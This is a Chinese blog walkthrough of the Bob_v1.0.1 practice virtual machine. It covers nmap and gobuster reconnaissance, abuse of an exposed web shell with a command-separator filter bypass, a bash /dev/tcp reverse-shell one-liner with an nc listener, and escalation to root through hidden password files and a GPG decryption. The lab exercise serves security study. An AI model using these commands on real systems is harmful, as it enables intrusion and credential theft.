Bob_v1.0.1 靶机练习

2025-4-24 45 4/24

Bob_v1.0.1 项目渗透报告

1. 侦察

1.1 主机发现

nmap -sn 192.168.1.0/24

Bob_v1.0.1 靶机练习

设置环境变量

export ip=192.168.1.137

1.2 主动扫描

收集受害者主机信息

开放端口
nmap --min-rate 10000 -p- $ip
开放服务信息
nmap -sS -sV -O -p21,80,25468 $ip
漏洞信息
nmap --script=vuln -p21,80,25468 $ip

Bob_v1.0.1 靶机练习

Bob_v1.0.1 靶机练习

2. 初始访问

2.1 利用面向公众的应用程序

Bob_v1.0.1 靶机练习

虽然有login等功能点但是都点击不了,不能进行使用,所以我们要进一步扫描目录继续进行信息收集.

2.2 主动目录扫描

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.137
或者
dirb http://192.168.1.137/

Bob_v1.0.1 靶机练习

之后我们就在robots.txt页面中发现了一些我们需要的信息

Bob_v1.0.1 靶机练习

http://192.168.1.137/login.php

http://192.168.1.137/dev_shell.php

http://192.168.1.137/lat_memo.html

http://192.168.1.137/passwords.html

这里是直接给了我们一个shell

Bob_v1.0.1 靶机练习

3. 执行

我们执行了id whoami这些没有危害的内容,但是一些敏感命令还是做了限制。

我们尝试用一下连接符

Bob_v1.0.1 靶机练习

发现成功绕过,直接尝试反弹个shell

Kali中开启4444端口监听

nc -nvlp 4444

反弹shell命令

echo "bash -i >& /dev/tcp/192.168.1.133/4444 0>&1" | bash

成功获取shell

Bob_v1.0.1 靶机练习

4. 权限提升

sudo -l

查看用户权限

Bob_v1.0.1 靶机练习

find / -perm -u=s -ls 2>/dev/null

查找特权应用

Bob_v1.0.1 靶机练习

没啥发现,我们只能一个一个去用户里面去找我们需要的信息

主要就是看每个用户下的DeskTop 和 Documents

Bob_v1.0.1 靶机练习

这块提到seb使用ftp安装了一个后门的信息

还有一个gpg文件

但是需要拿到密钥

Bob_v1.0.1 靶机练习

/home/bob/Documents/Secret/Keep_Out/Not_Porn$ cd No_Lookie_In_Here

进一步查下去我们发现有一个可执行文件

Bob_v1.0.1 靶机练习

没看明白 网上查资料发现这个密钥就是藏头诗,所以密钥就为HARPOCRATES

gpg -d login.txt.gpg

直接解密但是权限不够

我们又看到bob用户中藏有隐藏文件old_passwordfile.html

ls -liah

Bob_v1.0.1 靶机练习

能看到jc 和 seb 的密码,我们刚刚又扫描到他的25468端口开启的是ssh服务,所以我们用ssh登录一下切换用户解密一下

登录成功后切换到bob的目录

gpg -d login.txt.gpg

输入密码HARPOCRATES

直接获取到了bob的密码 bob:b0bcat_

切换bob的账号

sudo -l发现是root权限,提权成功

- THE END -
Tag:
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论